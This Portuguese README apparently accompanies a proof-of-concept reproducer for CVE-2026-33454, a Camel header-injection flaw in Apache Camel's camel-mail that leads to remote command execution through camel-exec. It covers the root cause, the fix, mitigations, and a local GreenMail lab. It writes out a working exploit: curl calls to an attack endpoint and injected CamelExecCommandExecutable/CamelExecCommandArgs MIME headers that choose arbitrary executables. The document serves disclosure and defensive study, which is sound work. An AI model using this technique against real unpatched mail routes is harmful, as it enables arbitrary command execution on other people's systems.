
Reprodutor para CVE-2026-33454: injeção de cabeçalho no Apache Camel camel-mail para RCE via camel-exec
Este projeto demonstra uma vulnerabilidade de injeção de cabeçalhos de mensagem Camel no componente camel-mail do Apache Camel, registrada como CVE-2026-33454. Um atacante que consiga entregar um e-mail a uma caixa de correio monitorada por um consumidor de e-mail Camel pode injetar cabeçalhos de controle Camel* no Exchange, alcançando execução remota de código quando a rota encaminha para um produtor sensível a cabeçalhos, como camel-exec.
Comunicado de segurança: https://camel.apache.org/security/CVE-2026-33454.html
| Propriedade | Valor |
|---|---|
| Componente | camel-mail |
| Classe Afetada | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| Causa raiz | A estratégia de filtro configura apenas a direção OUT (setOutFilterStartsWith) e NÃO a direção IN, portanto os cabeçalhos MIME de entrada não são filtrados |
| CWE | CWE-20: Validação de Entrada Incorreta (injeção de cabeçalho de mensagem Camel) |
| Impacto | Execução Remota de Código (via produtores sensíveis a cabeçalhos, ex.: camel-exec) |
| Versões Afetadas | De 3.0.0 a 4.14.6 (exclusive), e de 4.15.0 a 4.18.1 (exclusive) |
| Versões Corrigidas | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Relator | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy estende DefaultHeaderFilterStrategy. Nas versões afetadas, seu construtor configura apenas o filtro out e nunca define o filtro in:
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
Quando o Camel consome e-mail (ex.: from("imap://...") ou from("pop3://...")), MailBinding.extractHeadersFromMail() copia todos os cabeçalhos MIME para os cabeçalhos de entrada do Exchange, controlados por headerFilterStrategy.applyFilterToExternalHeaders(...). Como o filtro in nunca foi configurado, cabeçalhos MIME prefixados com Camel* passam diretamente:
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
Um atacante que consiga enviar e-mail para a caixa de correio monitorada pode, portanto, definir cabeçalhos de controle Camel* arbitrários. Quando a rota encaminha para um produtor sensível a cabeçalhos, como camel-exec, os cabeçalhos CamelExecCommandExecutable / CamelExecCommandArgs sobrescrevem o comando (respeitados por padrão nas versões afetadas) → execução arbitrária de comandos do sistema operacional.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
Um contêiner GreenMail fornece SMTP (3025) e IMAP (3143) com uma única caixa de correio (login victim, senha secret, endereço victim@localhost):
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
Inicia a rota vítima IMAP e um controller REST auxiliar na porta 8080.
curl http://localhost:8080/exploit/normal
O consumidor o coleta e executa echo hello.
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
Isso entrega um e-mail cujos cabeçalhos MIME incluem:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
Se /tmp/pwned existir, o cabeçalho MIME injetado sobrescreveu o comando exec → RCE.
docker compose down # or: docker rm -f greenmail-cve
A injeção precisa apenas de um produtor sensível a cabeçalhos a jusante. O comunicado menciona camel-bean, camel-exec e camel-sql; mais amplamente:
CamelExecCommandExecutable / CamelExecCommandArgs → execução de comandos do SOCamelFileName → escrita arbitrária de arquivos / path traversalCamelBeanMethodName → invocar um método diferenteimap://, imaps://, pop3://, ...).removeHeaders("Camel*") entre o consumidor de e-mail e esse produtor.O atacante só precisa conseguir enviar um e-mail para a caixa de correio monitorada.
A correção (CAMEL-23222) configura também o filtro de entrada:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
Até a atualização:
.removeHeaders("Camel*") logo após o from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.